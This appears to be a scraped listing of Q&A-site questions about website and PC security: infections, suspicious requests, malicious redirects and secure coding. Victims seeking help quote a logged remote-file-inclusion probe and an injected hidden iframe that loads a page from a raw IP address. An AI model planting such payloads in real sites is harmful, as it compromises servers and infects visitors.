    Hi friends, I'm developing a website using php, i want to know how can i protect my site from the attack of virus, like malicious scripts, hackers etc. which are the ways this will happen, and how can i avooid such situations. is there any protecting facilities in Curl or any technologies. I'm more concerned about this because one of my site is affected with virus for some reason and i'm using data from my database all the time. so please tell me about this virus protection. when i look into google i got this url but not sure what they are meant by that. http://blog.unitedheroes.net/curl/ can any one tell me about the protective measures.... Thanks

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  • Does the Adblock Plus extension prevent malicious code from downloading/executing? [closed]

    - by nctrnl
    Firefox and Chrome are my favourite browsers. The main reason is an extension called Adblock Plus. Basically, it blocks all the ad networks if you subscribe to one of the lists, like EasyList. Does it also protect against malicious ads on completely legitimate websites? For instance, several news websites use ad services that may allow a malicious user to insert "evil code". This makes the web very unsafe, especially for those who lack a serious antivirus product.

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  • How to protect/monitor your site from crawling by malicious user

    - by deathy
    Situation: Site with content protected by username/password (not all controlled since they can be trial/test users) a normal search engine can't get at it because of username/password restrictions a malicious user can still login and pass the session cookie to a "wget -r" or something else. The question would be what is the best solution to monitor such activity and respond to it (considering the site policy is no-crawling/scraping allowed) I can think of some options: Set up some traffic monitoring solution to limit the number of requests for a given user/IP. Related to the first point: Automatically block some user-agents (Evil :)) Set up a hidden link that when accessed logs out the user and disables his account. (Presumably this would not be accessed by a normal user since he wouldn't see it to click it, but a bot will crawl all links.) For point 1. do you know of a good already-implemented solution? Any experiences with it? One problem would be that some false positives might show up for very active but human users. For point 3: do you think this is really evil? Or do you see any possible problems with it? Also accepting other suggestions.

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  • Strange requests coming from Korean Site

    - by Jim Jeffers
    Lately I've been finding a lot of strange requests like this coming to my rails app: Processing ApplicationController#index (for 189.30.242.61 at 2009-12-14 07:38:24) [GET] Parameters: {"_SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt???"}} ActionController::RoutingError (No route matches "/browse/brand/nike ///" with {:method=>:get}): It looks like it's automated as I get a lot of them and notice the strange parameters they're trying to send: _SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt??? Is this something malicious and if so what should I do about it?

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  • How to find spyware dll launched using svchost.exe

    - by Sheen
    This weekend I found my PC was possibly infected by some virus or spyware. There is one "svchost.exe -k netsvcs" in my task manager, and it is running under my user name, rather than SYSTEM accounts. There is already another same process with same command line options under SYSTEM account. This user account svchost.exe consistently consumes 50% CPU (1 of 2 cores of my CPU). In Process Explorer, I can see it is started by explorer.exe, instead of services.exe. However, I failed to find its real service dll place in registry or disk. Does anyone know how to find this malicious program?

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  • How to remove .htaccess virus? [closed]

    - by bleepingcrows
    Possible Duplicate: My server's been hacked EMERGENCY First time posting so bear with me please! My friend's site has been hacked and the .htaccess file (which I really know nothing about) has been injected with a malicious redirect that forces search engines to the see the site as a "harmful website." If you look at the .htaccess file you can see it's Russian or at least ends in .ru. Seeing as I know very little about this stuff, I simply tried to restore the good .htaccess file back with his host. This doesn't work as the virus just recreates the infected .htaccess file. When I searched through the rest of his directories, I can see the same bad .htaccess file in most of the folders. I can't seem to help him get rid of this virus.

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  • IIS 7 Serving all pages with an injected iframe [closed]

    - by Andre Carlucci
    Possible Duplicate: My server's been hacked EMERGENCY My VPS just got hacked an all my pages are being served with an malicious iframe injected just before the html tag. The code is like this: <iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ... Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected. I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600. Please, I'm trying to find the source of this for hours now, any help would be really appreciated. EDIT: Hey, why was this closed? I'm very interested to know how that be done in IIS instead of simply re-installing everything. Andre

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  • what does it mean for MalwareBytes to find malicious registry keys but nothing else?

    - by EndangeringSpecies
    I have a machine that is obviously infected, and when I ran MalwareBytes it told me that it found some "malicious" registry keys (surprisingly enough these contained file path to currently non-existent javascript files). But, that's it. Full scan did not uncover any malicious files, or malicious hidden processes in memory. Like, maybe the (hidden?) process that for whatever reason periodically injects keystrokes (hotkeys?) into whatever currently open window. Then on another, not obviously infected, machine it found a "malware.trace" registry key but again no files or processes etc. How does this jive with people's experience with MalwareBytes? Does it usually find registry key symptoms of an infection but nothing else? Or is it a common thing to have no infection but some malicious registry keys in place anyway?

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  • Check malicious Redirect URL in ASP.NET

    - by acidzombie24
    I heard of sites using other site to redirect users either to their own site or to hide behind another site. In my code i redirect in a few places such as post a comment (its easier to use a return url then figure out the page using data given). How do i check if the return URL is my own url? I think i use absolute paths so i can easily check if the first character is '/' but then i will lose relative flexibility. This also disallows me from doing http://mysite.com/blah in the redirect url. I could patch the url by adding mysite + string but i'll need to figure out if string is a relative url or already a mysite.com url. Whats the easiest way to ensure i am only redirecting to my site?

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  • How to remove SelectionLinks extension from Chrome on Windows?

    - by Faustas
    It's not possible to remove it using the standard extension disablement/removal features in Chrome - the checkbox is disabled. I also found that the extension gets installed under C:\Users\\AppData\Local\Google\Chrome\User Data\Default\Extensions\ - tried to delete it there, but it's still active. In fact, I tried deleting the whole C:\Users\\AppData\Local\Google\Chrome\User Data\ directory, but the next time Chrome starts, it recreates it and the extension gets recreated. Seems like there is something running in Windows that keeps detecting that Chrome extension is not there anymore and reinstates it. Any ideas how to get rid of it?

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  • How can I remove the security/malicious user warning from my website?

    - by BigBoy1337
    I have a domain name tradespring.net, and www.tradespring.net that redirect to my heroku app with a CNAME record. However when I first try to access these sites it gives me a malicious warning This is probably not the site you are looking for! blah blah blah then "proceed anyways" or "back to safety" Its because my browser realizes that it is redirecting. How can I make sure anyones browser (not just my browser) trusts this site and my heroku app? I dont think i need an SSL certificate because this site is not sending sensitive info (credit card info, ect.).

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  • Security in programmming?

    - by yesraaj
    What is the best book to read about security issues that should be kept in mind while programming? What should a c++ programmer know about security? Is it worth buying any one of the following book If so which one should I get. Secure Coding In C & C++ Secure Programming Cookbook for C and C++ Writing Secure code

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  • How to prevent arbitrary code execution vulnerability in our programs?

    - by Calmarius
    You always read in changelogs when your system or browser or any program updates that they fixed a bug that made possible that an attacker can execute any code in your computer with a forged website, or attacking your computer with carefully forged packets, etc... Because you read it so often that means any program can have similar vulnerabilites... What causes this? how to design our programs to prevent similar issues?

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  • What is this weird script I found on facebook?

    - by Mike Turley
    Not so much a question to help my own programming, but I found this page on facebook with a cool illusion and a page that says "to see the real illusion, copy and paste this code into your address bar" and there is a script: http://pastebin.com/LQUVQ8hm What the hell is this? What would happen if I put it in my address bar, which I assume would be a very unwise idea? I am confused.

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